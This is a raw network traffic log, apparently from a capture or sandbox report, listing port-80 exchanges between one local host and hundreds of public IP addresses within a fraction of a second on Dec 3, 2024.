Dec 3, 2024 22:01:59.006062984 CET	80	39296	155.151.244.71	192.168.2.14
Dec 3, 2024 22:01:59.006081104 CET	80	39296	183.24.228.0	192.168.2.14
Dec 3, 2024 22:01:59.006100893 CET	39296	80	192.168.2.14	12.115.68.145
Dec 3, 2024 22:01:59.006100893 CET	39296	80	192.168.2.14	92.238.86.135
Dec 3, 2024 22:01:59.006102085 CET	39296	80	192.168.2.14	123.223.222.49
Dec 3, 2024 22:01:59.006100893 CET	39296	80	192.168.2.14	91.89.162.80
Dec 3, 2024 22:01:59.006117105 CET	39296	80	192.168.2.14	178.240.70.21
Dec 3, 2024 22:01:59.006118059 CET	39296	80	192.168.2.14	155.151.244.71
Dec 3, 2024 22:01:59.006120920 CET	39296	80	192.168.2.14	183.24.228.0
Dec 3, 2024 22:01:59.006198883 CET	80	39296	133.102.139.174	192.168.2.14
Dec 3, 2024 22:01:59.006203890 CET	80	39296	147.106.170.245	192.168.2.14
Dec 3, 2024 22:01:59.006207943 CET	80	39296	166.192.254.106	192.168.2.14
Dec 3, 2024 22:01:59.006225109 CET	80	39296	166.12.67.34	192.168.2.14
Dec 3, 2024 22:01:59.006232977 CET	80	39296	12.179.64.109	192.168.2.14
Dec 3, 2024 22:01:59.006237030 CET	80	39296	95.96.104.85	192.168.2.14
Dec 3, 2024 22:01:59.006242990 CET	80	39296	223.157.131.233	192.168.2.14
Dec 3, 2024 22:01:59.006249905 CET	39296	80	192.168.2.14	166.192.254.106
Dec 3, 2024 22:01:59.006253958 CET	39296	80	192.168.2.14	166.12.67.34
Dec 3, 2024 22:01:59.006264925 CET	39296	80	192.168.2.14	133.102.139.174
Dec 3, 2024 22:01:59.006277084 CET	80	39296	181.173.162.5	192.168.2.14
Dec 3, 2024 22:01:59.006278038 CET	39296	80	192.168.2.14	12.179.64.109
Dec 3, 2024 22:01:59.006279945 CET	39296	80	192.168.2.14	147.106.170.245
Dec 3, 2024 22:01:59.006283045 CET	80	39296	156.148.254.51	192.168.2.14
Dec 3, 2024 22:01:59.006283998 CET	39296	80	192.168.2.14	95.96.104.85
Dec 3, 2024 22:01:59.006287098 CET	39296	80	192.168.2.14	223.157.131.233
Dec 3, 2024 22:01:59.006306887 CET	39296	80	192.168.2.14	181.173.162.5
Dec 3, 2024 22:01:59.006326914 CET	39296	80	192.168.2.14	156.148.254.51
Dec 3, 2024 22:01:59.006406069 CET	80	39296	213.164.56.222	192.168.2.14
Dec 3, 2024 22:01:59.006411076 CET	80	39296	81.52.118.254	192.168.2.14
Dec 3, 2024 22:01:59.006416082 CET	80	39296	184.6.213.235	192.168.2.14
Dec 3, 2024 22:01:59.006419897 CET	80	39296	159.1.203.222	192.168.2.14
Dec 3, 2024 22:01:59.006424904 CET	80	39296	44.144.101.142	192.168.2.14
Dec 3, 2024 22:01:59.006428957 CET	80	39296	135.54.13.74	192.168.2.14
Dec 3, 2024 22:01:59.006433010 CET	80	39296	4.239.216.134	192.168.2.14
Dec 3, 2024 22:01:59.006445885 CET	39296	80	192.168.2.14	213.164.56.222
Dec 3, 2024 22:01:59.006448030 CET	39296	80	192.168.2.14	81.52.118.254
Dec 3, 2024 22:01:59.006458044 CET	39296	80	192.168.2.14	184.6.213.235
Dec 3, 2024 22:01:59.006463051 CET	39296	80	192.168.2.14	159.1.203.222
Dec 3, 2024 22:01:59.006464005 CET	39296	80	192.168.2.14	135.54.13.74
Dec 3, 2024 22:01:59.006477118 CET	39296	80	192.168.2.14	44.144.101.142
Dec 3, 2024 22:01:59.006481886 CET	39296	80	192.168.2.14	4.239.216.134
Dec 3, 2024 22:01:59.006915092 CET	80	39296	58.238.138.107	192.168.2.14
Dec 3, 2024 22:01:59.006953955 CET	39296	80	192.168.2.14	58.238.138.107
Dec 3, 2024 22:01:59.006966114 CET	80	39296	134.137.178.22	192.168.2.14
Dec 3, 2024 22:01:59.006972075 CET	80	39296	93.71.65.94	192.168.2.14
Dec 3, 2024 22:01:59.006979942 CET	80	39296	70.166.190.20	192.168.2.14
Dec 3, 2024 22:01:59.006989002 CET	80	39296	51.238.239.151	192.168.2.14
Dec 3, 2024 22:01:59.006999969 CET	80	39296	132.101.33.21	192.168.2.14
Dec 3, 2024 22:01:59.007015944 CET	39296	80	192.168.2.14	51.238.239.151
Dec 3, 2024 22:01:59.007015944 CET	39296	80	192.168.2.14	134.137.178.22
Dec 3, 2024 22:01:59.007015944 CET	39296	80	192.168.2.14	93.71.65.94
Dec 3, 2024 22:01:59.007023096 CET	39296	80	192.168.2.14	70.166.190.20
Dec 3, 2024 22:01:59.007031918 CET	80	39296	120.137.118.180	192.168.2.14
Dec 3, 2024 22:01:59.007039070 CET	39296	80	192.168.2.14	132.101.33.21
Dec 3, 2024 22:01:59.007054090 CET	80	39296	139.105.182.203	192.168.2.14
Dec 3, 2024 22:01:59.007082939 CET	39296	80	192.168.2.14	120.137.118.180
Dec 3, 2024 22:01:59.007090092 CET	39296	80	192.168.2.14	139.105.182.203
Dec 3, 2024 22:01:59.007118940 CET	80	39296	100.193.129.148	192.168.2.14
Dec 3, 2024 22:01:59.007123947 CET	80	39296	123.164.133.16	192.168.2.14
Dec 3, 2024 22:01:59.007158041 CET	39296	80	192.168.2.14	100.193.129.148
Dec 3, 2024 22:01:59.007160902 CET	80	39296	181.244.102.251	192.168.2.14
Dec 3, 2024 22:01:59.007164955 CET	39296	80	192.168.2.14	123.164.133.16
Dec 3, 2024 22:01:59.007165909 CET	80	39296	19.114.139.111	192.168.2.14
Dec 3, 2024 22:01:59.007221937 CET	39296	80	192.168.2.14	181.244.102.251
Dec 3, 2024 22:01:59.007221937 CET	39296	80	192.168.2.14	19.114.139.111
Dec 3, 2024 22:01:59.007263899 CET	80	39296	113.95.191.149	192.168.2.14
Dec 3, 2024 22:01:59.007268906 CET	80	39296	105.145.139.223	192.168.2.14
Dec 3, 2024 22:01:59.007278919 CET	80	39296	66.87.139.140	192.168.2.14
Dec 3, 2024 22:01:59.007281065 CET	80	39296	45.36.14.236	192.168.2.14
Dec 3, 2024 22:01:59.007291079 CET	80	39296	93.89.60.215	192.168.2.14
Dec 3, 2024 22:01:59.007297993 CET	80	39296	201.73.27.147	192.168.2.14
Dec 3, 2024 22:01:59.007309914 CET	80	39296	24.206.142.60	192.168.2.14
Dec 3, 2024 22:01:59.007319927 CET	39296	80	192.168.2.14	66.87.139.140
Dec 3, 2024 22:01:59.007319927 CET	39296	80	192.168.2.14	113.95.191.149
Dec 3, 2024 22:01:59.007323027 CET	80	39296	138.206.28.226	192.168.2.14
Dec 3, 2024 22:01:59.007325888 CET	39296	80	192.168.2.14	105.145.139.223
Dec 3, 2024 22:01:59.007335901 CET	80	39296	86.130.31.188	192.168.2.14
Dec 3, 2024 22:01:59.007342100 CET	39296	80	192.168.2.14	45.36.14.236
Dec 3, 2024 22:01:59.007342100 CET	39296	80	192.168.2.14	201.73.27.147
Dec 3, 2024 22:01:59.007342100 CET	80	39296	5.136.31.81	192.168.2.14
Dec 3, 2024 22:01:59.007345915 CET	39296	80	192.168.2.14	93.89.60.215
Dec 3, 2024 22:01:59.007347107 CET	80	39296	71.217.24.50	192.168.2.14
Dec 3, 2024 22:01:59.007352114 CET	80	39296	71.108.17.153	192.168.2.14
Dec 3, 2024 22:01:59.007356882 CET	80	39296	145.242.252.176	192.168.2.14
Dec 3, 2024 22:01:59.007360935 CET	80	39296	149.253.253.138	192.168.2.14
Dec 3, 2024 22:01:59.007360935 CET	39296	80	192.168.2.14	24.206.142.60
Dec 3, 2024 22:01:59.007360935 CET	39296	80	192.168.2.14	138.206.28.226
Dec 3, 2024 22:01:59.007375956 CET	39296	80	192.168.2.14	86.130.31.188
Dec 3, 2024 22:01:59.007375956 CET	39296	80	192.168.2.14	5.136.31.81
Dec 3, 2024 22:01:59.007375956 CET	39296	80	192.168.2.14	71.217.24.50
Dec 3, 2024 22:01:59.007391930 CET	39296	80	192.168.2.14	71.108.17.153
Dec 3, 2024 22:01:59.007391930 CET	39296	80	192.168.2.14	149.253.253.138
Dec 3, 2024 22:01:59.007395983 CET	39296	80	192.168.2.14	145.242.252.176
Dec 3, 2024 22:01:59.007457018 CET	80	39296	59.195.199.79	192.168.2.14
Dec 3, 2024 22:01:59.007503033 CET	39296	80	192.168.2.14	59.195.199.79
Dec 3, 2024 22:01:59.008131027 CET	80	39296	218.57.29.84	192.168.2.14
Dec 3, 2024 22:01:59.008136988 CET	80	39296	104.97.87.217	192.168.2.14
Dec 3, 2024 22:01:59.008169889 CET	80	39296	110.30.208.240	192.168.2.14
Dec 3, 2024 22:01:59.008174896 CET	80	39296	202.158.207.246	192.168.2.14
Dec 3, 2024 22:01:59.008178949 CET	80	39296	73.35.2.251	192.168.2.14
Dec 3, 2024 22:01:59.008197069 CET	39296	80	192.168.2.14	218.57.29.84
Dec 3, 2024 22:01:59.008199930 CET	39296	80	192.168.2.14	104.97.87.217
Dec 3, 2024 22:01:59.008208036 CET	39296	80	192.168.2.14	110.30.208.240
Dec 3, 2024 22:01:59.008215904 CET	39296	80	192.168.2.14	202.158.207.246
Dec 3, 2024 22:01:59.008224010 CET	80	39296	221.55.105.157	192.168.2.14
Dec 3, 2024 22:01:59.008229017 CET	80	39296	174.179.34.141	192.168.2.14
Dec 3, 2024 22:01:59.008240938 CET	80	39296	164.199.117.103	192.168.2.14
Dec 3, 2024 22:01:59.008246899 CET	80	39296	157.179.246.32	192.168.2.14
Dec 3, 2024 22:01:59.008256912 CET	80	39296	133.193.218.122	192.168.2.14
Dec 3, 2024 22:01:59.008280993 CET	80	39296	19.47.228.166	192.168.2.14
Dec 3, 2024 22:01:59.008280993 CET	39296	80	192.168.2.14	174.179.34.141
Dec 3, 2024 22:01:59.008285046 CET	39296	80	192.168.2.14	164.199.117.103
Dec 3, 2024 22:01:59.008285046 CET	39296	80	192.168.2.14	221.55.105.157
Dec 3, 2024 22:01:59.008285046 CET	39296	80	192.168.2.14	73.35.2.251
Dec 3, 2024 22:01:59.008292913 CET	39296	80	192.168.2.14	133.193.218.122
Dec 3, 2024 22:01:59.008301973 CET	39296	80	192.168.2.14	157.179.246.32
Dec 3, 2024 22:01:59.008302927 CET	80	39296	173.163.75.92	192.168.2.14
Dec 3, 2024 22:01:59.008327007 CET	39296	80	192.168.2.14	19.47.228.166
Dec 3, 2024 22:01:59.008346081 CET	39296	80	192.168.2.14	173.163.75.92
Dec 3, 2024 22:01:59.008375883 CET	80	39296	60.11.0.93	192.168.2.14
Dec 3, 2024 22:01:59.008382082 CET	80	39296	19.157.31.237	192.168.2.14
Dec 3, 2024 22:01:59.008389950 CET	80	39296	83.81.169.58	192.168.2.14
Dec 3, 2024 22:01:59.008404970 CET	39296	80	192.168.2.14	60.11.0.93
Dec 3, 2024 22:01:59.008404970 CET	39296	80	192.168.2.14	19.157.31.237
Dec 3, 2024 22:01:59.008407116 CET	80	39296	132.199.146.149	192.168.2.14
Dec 3, 2024 22:01:59.008430958 CET	39296	80	192.168.2.14	83.81.169.58
Dec 3, 2024 22:01:59.008451939 CET	39296	80	192.168.2.14	132.199.146.149
Dec 3, 2024 22:01:59.008455038 CET	80	39296	63.154.218.144	192.168.2.14
Dec 3, 2024 22:01:59.008500099 CET	39296	80	192.168.2.14	63.154.218.144
Dec 3, 2024 22:01:59.008502007 CET	80	39296	191.126.175.127	192.168.2.14
Dec 3, 2024 22:01:59.008507967 CET	80	39296	43.61.179.22	192.168.2.14
Dec 3, 2024 22:01:59.008543015 CET	80	39296	191.38.141.48	192.168.2.14
Dec 3, 2024 22:01:59.008548021 CET	39296	80	192.168.2.14	191.126.175.127
Dec 3, 2024 22:01:59.008548975 CET	80	39296	217.20.229.15	192.168.2.14
Dec 3, 2024 22:01:59.008549929 CET	39296	80	192.168.2.14	43.61.179.22
Dec 3, 2024 22:01:59.008554935 CET	80	39296	90.67.82.138	192.168.2.14
Dec 3, 2024 22:01:59.008559942 CET	80	39296	203.72.156.253	192.168.2.14
Dec 3, 2024 22:01:59.008563995 CET	80	39296	209.136.21.219	192.168.2.14
Dec 3, 2024 22:01:59.008568048 CET	80	39296	129.245.49.137	192.168.2.14
Dec 3, 2024 22:01:59.008573055 CET	80	39296	90.176.102.187	192.168.2.14
Dec 3, 2024 22:01:59.008582115 CET	80	39296	141.126.3.225	192.168.2.14
Dec 3, 2024 22:01:59.008586884 CET	80	39296	75.108.206.36	192.168.2.14
Dec 3, 2024 22:01:59.008588076 CET	39296	80	192.168.2.14	191.38.141.48
Dec 3, 2024 22:01:59.008588076 CET	39296	80	192.168.2.14	90.67.82.138
Dec 3, 2024 22:01:59.008589983 CET	39296	80	192.168.2.14	209.136.21.219
Dec 3, 2024 22:01:59.008596897 CET	39296	80	192.168.2.14	217.20.229.15
Dec 3, 2024 22:01:59.008605003 CET	39296	80	192.168.2.14	203.72.156.253
Dec 3, 2024 22:01:59.008619070 CET	39296	80	192.168.2.14	90.176.102.187
Dec 3, 2024 22:01:59.008619070 CET	39296	80	192.168.2.14	141.126.3.225
Dec 3, 2024 22:01:59.008620024 CET	39296	80	192.168.2.14	75.108.206.36
Dec 3, 2024 22:01:59.008625031 CET	39296	80	192.168.2.14	129.245.49.137
Dec 3, 2024 22:01:59.009150982 CET	80	39296	57.74.116.238	192.168.2.14
Dec 3, 2024 22:01:59.009157896 CET	80	39296	116.110.75.141	192.168.2.14
Dec 3, 2024 22:01:59.009162903 CET	80	39296	31.222.9.33	192.168.2.14
Dec 3, 2024 22:01:59.009197950 CET	39296	80	192.168.2.14	116.110.75.141
Dec 3, 2024 22:01:59.009197950 CET	39296	80	192.168.2.14	57.74.116.238
Dec 3, 2024 22:01:59.009207964 CET	39296	80	192.168.2.14	31.222.9.33
Dec 3, 2024 22:01:59.009232044 CET	80	39296	122.0.183.158	192.168.2.14
Dec 3, 2024 22:01:59.009238005 CET	80	39296	59.137.81.71	192.168.2.14
Dec 3, 2024 22:01:59.009243011 CET	80	39296	207.27.47.63	192.168.2.14
Dec 3, 2024 22:01:59.009247065 CET	80	39296	202.241.250.207	192.168.2.14
Dec 3, 2024 22:01:59.009252071 CET	80	39296	165.79.85.63	192.168.2.14
Dec 3, 2024 22:01:59.009258986 CET	80	39296	122.215.234.180	192.168.2.14
Dec 3, 2024 22:01:59.009272099 CET	80	39296	48.118.35.236	192.168.2.14
Dec 3, 2024 22:01:59.009274006 CET	39296	80	192.168.2.14	122.0.183.158
Dec 3, 2024 22:01:59.009277105 CET	39296	80	192.168.2.14	202.241.250.207
Dec 3, 2024 22:01:59.009289980 CET	39296	80	192.168.2.14	59.137.81.71
Dec 3, 2024 22:01:59.009300947 CET	39296	80	192.168.2.14	207.27.47.63
Dec 3, 2024 22:01:59.009311914 CET	39296	80	192.168.2.14	122.215.234.180
Dec 3, 2024 22:01:59.009313107 CET	39296	80	192.168.2.14	165.79.85.63
Dec 3, 2024 22:01:59.009313107 CET	39296	80	192.168.2.14	48.118.35.236
Dec 3, 2024 22:01:59.009320974 CET	80	39296	191.133.53.223	192.168.2.14
Dec 3, 2024 22:01:59.009334087 CET	80	39296	48.104.108.79	192.168.2.14
Dec 3, 2024 22:01:59.009349108 CET	80	39296	169.215.52.193	192.168.2.14
Dec 3, 2024 22:01:59.009362936 CET	39296	80	192.168.2.14	191.133.53.223
Dec 3, 2024 22:01:59.009375095 CET	80	39296	221.47.144.142	192.168.2.14
Dec 3, 2024 22:01:59.009391069 CET	39296	80	192.168.2.14	48.104.108.79
Dec 3, 2024 22:01:59.009402990 CET	39296	80	192.168.2.14	169.215.52.193
Dec 3, 2024 22:01:59.009404898 CET	80	39296	175.116.86.162	192.168.2.14
Dec 3, 2024 22:01:59.009412050 CET	80	39296	194.254.250.238	192.168.2.14
Dec 3, 2024 22:01:59.009424925 CET	39296	80	192.168.2.14	221.47.144.142
Dec 3, 2024 22:01:59.009437084 CET	80	39296	140.207.80.249	192.168.2.14
Dec 3, 2024 22:01:59.009443045 CET	80	39296	212.59.167.255	192.168.2.14
Dec 3, 2024 22:01:59.009445906 CET	39296	80	192.168.2.14	175.116.86.162
Dec 3, 2024 22:01:59.009448051 CET	39296	80	192.168.2.14	194.254.250.238
Dec 3, 2024 22:01:59.009463072 CET	80	39296	118.242.188.150	192.168.2.14
Dec 3, 2024 22:01:59.009468079 CET	80	39296	188.11.24.187	192.168.2.14
Dec 3, 2024 22:01:59.009478092 CET	39296	80	192.168.2.14	140.207.80.249
Dec 3, 2024 22:01:59.009478092 CET	39296	80	192.168.2.14	212.59.167.255
Dec 3, 2024 22:01:59.009504080 CET	39296	80	192.168.2.14	118.242.188.150
Dec 3, 2024 22:01:59.009506941 CET	39296	80	192.168.2.14	188.11.24.187
Dec 3, 2024 22:01:59.009537935 CET	80	39296	63.219.187.235	192.168.2.14
Dec 3, 2024 22:01:59.009542942 CET	80	39296	9.141.156.39	192.168.2.14
Dec 3, 2024 22:01:59.009546995 CET	80	39296	195.192.179.231	192.168.2.14
Dec 3, 2024 22:01:59.009556055 CET	80	39296	34.17.183.31	192.168.2.14
Dec 3, 2024 22:01:59.009562969 CET	80	39296	17.226.139.83	192.168.2.14
Dec 3, 2024 22:01:59.009571075 CET	80	39296	78.90.132.172	192.168.2.14
Dec 3, 2024 22:01:59.009593010 CET	39296	80	192.168.2.14	63.219.187.235
Dec 3, 2024 22:01:59.009608030 CET	39296	80	192.168.2.14	9.141.156.39
Dec 3, 2024 22:01:59.009608030 CET	39296	80	192.168.2.14	34.17.183.31
Dec 3, 2024 22:01:59.009613037 CET	39296	80	192.168.2.14	195.192.179.231
Dec 3, 2024 22:01:59.009613037 CET	39296	80	192.168.2.14	78.90.132.172
Dec 3, 2024 22:01:59.009629965 CET	80	39296	146.62.117.144	192.168.2.14
Dec 3, 2024 22:01:59.009634972 CET	80	39296	216.81.55.46	192.168.2.14
Dec 3, 2024 22:01:59.009641886 CET	39296	80	192.168.2.14	17.226.139.83
Dec 3, 2024 22:01:59.009670973 CET	39296	80	192.168.2.14	216.81.55.46
Dec 3, 2024 22:01:59.009692907 CET	39296	80	192.168.2.14	146.62.117.144
Dec 3, 2024 22:01:59.010252953 CET	80	39296	104.238.155.214	192.168.2.14
Dec 3, 2024 22:01:59.010257006 CET	80	39296	1.101.72.64	192.168.2.14
Dec 3, 2024 22:01:59.010262012 CET	80	39296	40.57.8.243	192.168.2.14
Dec 3, 2024 22:01:59.010303974 CET	39296	80	192.168.2.14	1.101.72.64
Dec 3, 2024 22:01:59.010303974 CET	39296	80	192.168.2.14	104.238.155.214
Dec 3, 2024 22:01:59.010308981 CET	39296	80	192.168.2.14	40.57.8.243
Dec 3, 2024 22:01:59.010329962 CET	80	39296	202.117.186.196	192.168.2.14
Dec 3, 2024 22:01:59.010334969 CET	80	39296	220.12.3.14	192.168.2.14
Dec 3, 2024 22:01:59.010339022 CET	80	39296	73.49.22.232	192.168.2.14
Dec 3, 2024 22:01:59.010349035 CET	80	39296	125.77.185.97	192.168.2.14
Dec 3, 2024 22:01:59.010354996 CET	80	39296	134.229.247.235	192.168.2.14
Dec 3, 2024 22:01:59.010379076 CET	39296	80	192.168.2.14	202.117.186.196
Dec 3, 2024 22:01:59.010396004 CET	39296	80	192.168.2.14	220.12.3.14
Dec 3, 2024 22:01:59.010396004 CET	39296	80	192.168.2.14	73.49.22.232
Dec 3, 2024 22:01:59.010396004 CET	39296	80	192.168.2.14	125.77.185.97
Dec 3, 2024 22:01:59.010396004 CET	39296	80	192.168.2.14	134.229.247.235
Dec 3, 2024 22:01:59.010396957 CET	80	39296	171.108.146.178	192.168.2.14
Dec 3, 2024 22:01:59.010402918 CET	80	39296	8.176.90.210	192.168.2.14
Dec 3, 2024 22:01:59.010407925 CET	80	39296	200.121.42.240	192.168.2.14
Dec 3, 2024 22:01:59.010411978 CET	80	39296	182.56.109.254	192.168.2.14
Dec 3, 2024 22:01:59.010432959 CET	39296	80	192.168.2.14	171.108.146.178
Dec 3, 2024 22:01:59.010437012 CET	39296	80	192.168.2.14	200.121.42.240
Dec 3, 2024 22:01:59.010474920 CET	39296	80	192.168.2.14	182.56.109.254
Dec 3, 2024 22:01:59.010474920 CET	39296	80	192.168.2.14	8.176.90.210
Dec 3, 2024 22:01:59.010494947 CET	80	39296	47.244.168.103	192.168.2.14
Dec 3, 2024 22:01:59.010499954 CET	80	39296	168.174.132.122	192.168.2.14
Dec 3, 2024 22:01:59.010504007 CET	80	39296	151.132.59.137	192.168.2.14
Dec 3, 2024 22:01:59.010509014 CET	80	39296	52.29.155.231	192.168.2.14
Dec 3, 2024 22:01:59.010513067 CET	80	39296	42.151.87.18	192.168.2.14
Dec 3, 2024 22:01:59.010516882 CET	80	39296	180.82.43.22	192.168.2.14
Dec 3, 2024 22:01:59.010521889 CET	80	39296	218.110.30.67	192.168.2.14
Dec 3, 2024 22:01:59.010526896 CET	80	39296	211.185.40.108	192.168.2.14
Dec 3, 2024 22:01:59.010530949 CET	80	39296	106.82.11.29	192.168.2.14
Dec 3, 2024 22:01:59.010535002 CET	80	39296	49.108.20.107	192.168.2.14
Dec 3, 2024 22:01:59.010539055 CET	80	39296	46.190.105.178	192.168.2.14
Dec 3, 2024 22:01:59.010543108 CET	39296	80	192.168.2.14	52.29.155.231
Dec 3, 2024 22:01:59.010545969 CET	39296	80	192.168.2.14	151.132.59.137
Dec 3, 2024 22:01:59.010548115 CET	39296	80	192.168.2.14	168.174.132.122
Dec 3, 2024 22:01:59.010550022 CET	39296	80	192.168.2.14	42.151.87.18
Dec 3, 2024 22:01:59.010551929 CET	39296	80	192.168.2.14	211.185.40.108
Dec 3, 2024 22:01:59.010554075 CET	39296	80	192.168.2.14	218.110.30.67
Dec 3, 2024 22:01:59.010574102 CET	39296	80	192.168.2.14	47.244.168.103
Dec 3, 2024 22:01:59.010585070 CET	39296	80	192.168.2.14	106.82.11.29
Dec 3, 2024 22:01:59.010586023 CET	39296	80	192.168.2.14	49.108.20.107
Dec 3, 2024 22:01:59.010588884 CET	39296	80	192.168.2.14	180.82.43.22
Dec 3, 2024 22:01:59.010591984 CET	39296	80	192.168.2.14	46.190.105.178
Dec 3, 2024 22:01:59.010696888 CET	80	39296	195.59.135.60	192.168.2.14
Dec 3, 2024 22:01:59.010703087 CET	80	39296	8.91.32.151	192.168.2.14
Dec 3, 2024 22:01:59.010706902 CET	80	39296	62.74.6.249	192.168.2.14
Dec 3, 2024 22:01:59.010715961 CET	80	39296	98.167.202.66	192.168.2.14
Dec 3, 2024 22:01:59.010720015 CET	80	39296	82.9.218.57	192.168.2.14
Dec 3, 2024 22:01:59.010751009 CET	39296	80	192.168.2.14	195.59.135.60
Dec 3, 2024 22:01:59.010751963 CET	39296	80	192.168.2.14	8.91.32.151
Dec 3, 2024 22:01:59.010761023 CET	39296	80	192.168.2.14	62.74.6.249
Dec 3, 2024 22:01:59.010772943 CET	39296	80	192.168.2.14	98.167.202.66
Dec 3, 2024 22:01:59.010781050 CET	39296	80	192.168.2.14	82.9.218.57
Dec 3, 2024 22:01:59.011132956 CET	80	39296	103.213.240.56	192.168.2.14
Dec 3, 2024 22:01:59.011178970 CET	80	39296	204.205.117.94	192.168.2.14
Dec 3, 2024 22:01:59.011188984 CET	80	39296	87.208.211.194	192.168.2.14
Dec 3, 2024 22:01:59.011193037 CET	80	39296	40.34.72.127	192.168.2.14
Dec 3, 2024 22:01:59.011198997 CET	80	39296	178.222.45.207	192.168.2.14
Dec 3, 2024 22:01:59.011205912 CET	39296	80	192.168.2.14	204.205.117.94
Dec 3, 2024 22:01:59.011213064 CET	39296	80	192.168.2.14	103.213.240.56
Dec 3, 2024 22:01:59.011229992 CET	39296	80	192.168.2.14	178.222.45.207
Dec 3, 2024 22:01:59.011240005 CET	39296	80	192.168.2.14	40.34.72.127
Dec 3, 2024 22:01:59.011240959 CET	39296	80	192.168.2.14	87.208.211.194
Dec 3, 2024 22:01:59.011248112 CET	80	39296	163.245.106.236	192.168.2.14
Dec 3, 2024 22:01:59.011255980 CET	80	39296	36.176.25.110	192.168.2.14
Dec 3, 2024 22:01:59.011265993 CET	80	39296	211.131.117.210	192.168.2.14
Dec 3, 2024 22:01:59.011271954 CET	80	39296	182.71.92.231	192.168.2.14
Dec 3, 2024 22:01:59.011285067 CET	80	39296	35.136.140.138	192.168.2.14
Dec 3, 2024 22:01:59.011301041 CET	39296	80	192.168.2.14	211.131.117.210
Dec 3, 2024 22:01:59.011307955 CET	39296	80	192.168.2.14	182.71.92.231
Dec 3, 2024 22:01:59.011316061 CET	39296	80	192.168.2.14	35.136.140.138
Dec 3, 2024 22:01:59.011338949 CET	80	39296	136.31.112.156	192.168.2.14
Dec 3, 2024 22:01:59.011344910 CET	80	39296	149.153.119.161	192.168.2.14
Dec 3, 2024 22:01:59.011349916 CET	80	39296	191.69.226.192	192.168.2.14
Dec 3, 2024 22:01:59.011349916 CET	39296	80	192.168.2.14	163.245.106.236
Dec 3, 2024 22:01:59.011349916 CET	39296	80	192.168.2.14	36.176.25.110
Dec 3, 2024 22:01:59.011372089 CET	80	39296	142.207.225.174	192.168.2.14
Dec 3, 2024 22:01:59.011389017 CET	39296	80	192.168.2.14	149.153.119.161
Dec 3, 2024 22:01:59.011395931 CET	39296	80	192.168.2.14	136.31.112.156
Dec 3, 2024 22:01:59.011398077 CET	39296	80	192.168.2.14	191.69.226.192
Dec 3, 2024 22:01:59.011409044 CET	39296	80	192.168.2.14	142.207.225.174
Dec 3, 2024 22:01:59.011430979 CET	80	39296	164.0.250.129	192.168.2.14
Dec 3, 2024 22:01:59.011440992 CET	80	39296	157.193.199.51	192.168.2.14
Dec 3, 2024 22:01:59.011457920 CET	80	39296	53.24.84.166	192.168.2.14
Dec 3, 2024 22:01:59.011461973 CET	80	39296	96.141.31.98	192.168.2.14
Dec 3, 2024 22:01:59.011466026 CET	80	39296	168.196.28.250	192.168.2.14
Dec 3, 2024 22:01:59.011482954 CET	39296	80	192.168.2.14	164.0.250.129
Dec 3, 2024 22:01:59.011497974 CET	39296	80	192.168.2.14	157.193.199.51
Dec 3, 2024 22:01:59.011497974 CET	80	39296	90.79.118.80	192.168.2.14
Dec 3, 2024 22:01:59.011502028 CET	39296	80	192.168.2.14	96.141.31.98
Dec 3, 2024 22:01:59.011504889 CET	80	39296	129.12.201.106	192.168.2.14
Dec 3, 2024 22:01:59.011504889 CET	39296	80	192.168.2.14	53.24.84.166
Dec 3, 2024 22:01:59.011507034 CET	39296	80	192.168.2.14	168.196.28.250
Dec 3, 2024 22:01:59.011511087 CET	80	39296	109.65.74.91	192.168.2.14
Dec 3, 2024 22:01:59.011523008 CET	80	39296	187.80.177.100	192.168.2.14
Dec 3, 2024 22:01:59.011553049 CET	39296	80	192.168.2.14	90.79.118.80
Dec 3, 2024 22:01:59.011554003 CET	39296	80	192.168.2.14	129.12.201.106
Dec 3, 2024 22:01:59.011560917 CET	39296	80	192.168.2.14	187.80.177.100
Dec 3, 2024 22:01:59.011583090 CET	39296	80	192.168.2.14	109.65.74.91
Dec 3, 2024 22:01:59.011590004 CET	80	39296	135.205.93.244	192.168.2.14
Dec 3, 2024 22:01:59.011595011 CET	80	39296	57.179.37.47	192.168.2.14
Dec 3, 2024 22:01:59.011600018 CET	80	39296	194.127.176.46	192.168.2.14
Dec 3, 2024 22:01:59.011604071 CET	80	39296	104.17.228.195	192.168.2.14
Dec 3, 2024 22:01:59.011609077 CET	80	39296	94.211.250.154	192.168.2.14
Dec 3, 2024 22:01:59.011631966 CET	39296	80	192.168.2.14	135.205.93.244
Dec 3, 2024 22:01:59.011631966 CET	39296	80	192.168.2.14	194.127.176.46
Dec 3, 2024 22:01:59.011632919 CET	39296	80	192.168.2.14	57.179.37.47
Dec 3, 2024 22:01:59.011647940 CET	39296	80	192.168.2.14	104.17.228.195
Dec 3, 2024 22:01:59.011651993 CET	39296	80	192.168.2.14	94.211.250.154
Dec 3, 2024 22:01:59.012234926 CET	80	39296	24.22.41.219	192.168.2.14
Dec 3, 2024 22:01:59.012239933 CET	80	39296	219.49.63.20	192.168.2.14
Dec 3, 2024 22:01:59.012244940 CET	80	39296	9.135.68.111	192.168.2.14
Dec 3, 2024 22:01:59.012248993 CET	80	39296	76.145.131.237	192.168.2.14
Dec 3, 2024 22:01:59.012254000 CET	80	39296	58.78.185.195	192.168.2.14
Dec 3, 2024 22:01:59.012258053 CET	80	39296	155.250.114.2	192.168.2.14
Dec 3, 2024 22:01:59.012281895 CET	39296	80	192.168.2.14	24.22.41.219
Dec 3, 2024 22:01:59.012285948 CET	39296	80	192.168.2.14	9.135.68.111
Dec 3, 2024 22:01:59.012290955 CET	39296	80	192.168.2.14	219.49.63.20
Dec 3, 2024 22:01:59.012291908 CET	39296	80	192.168.2.14	76.145.131.237
Dec 3, 2024 22:01:59.012299061 CET	39296	80	192.168.2.14	58.78.185.195
Dec 3, 2024 22:01:59.012310028 CET	39296	80	192.168.2.14	155.250.114.2
Dec 3, 2024 22:01:59.012329102 CET	80	39296	180.222.165.244	192.168.2.14
Dec 3, 2024 22:01:59.012335062 CET	80	39296	135.130.93.194	192.168.2.14
Dec 3, 2024 22:01:59.012341976 CET	80	39296	166.25.215.193	192.168.2.14
Dec 3, 2024 22:01:59.012346029 CET	80	39296	57.114.159.200	192.168.2.14
Dec 3, 2024 22:01:59.012371063 CET	80	39296	167.77.250.82	192.168.2.14
Dec 3, 2024 22:01:59.012377024 CET	39296	80	192.168.2.14	166.25.215.193
Dec 3, 2024 22:01:59.012379885 CET	39296	80	192.168.2.14	180.222.165.244
Dec 3, 2024 22:01:59.012382030 CET	39296	80	192.168.2.14	57.114.159.200
Dec 3, 2024 22:01:59.012382030 CET	80	39296	121.67.95.50	192.168.2.14
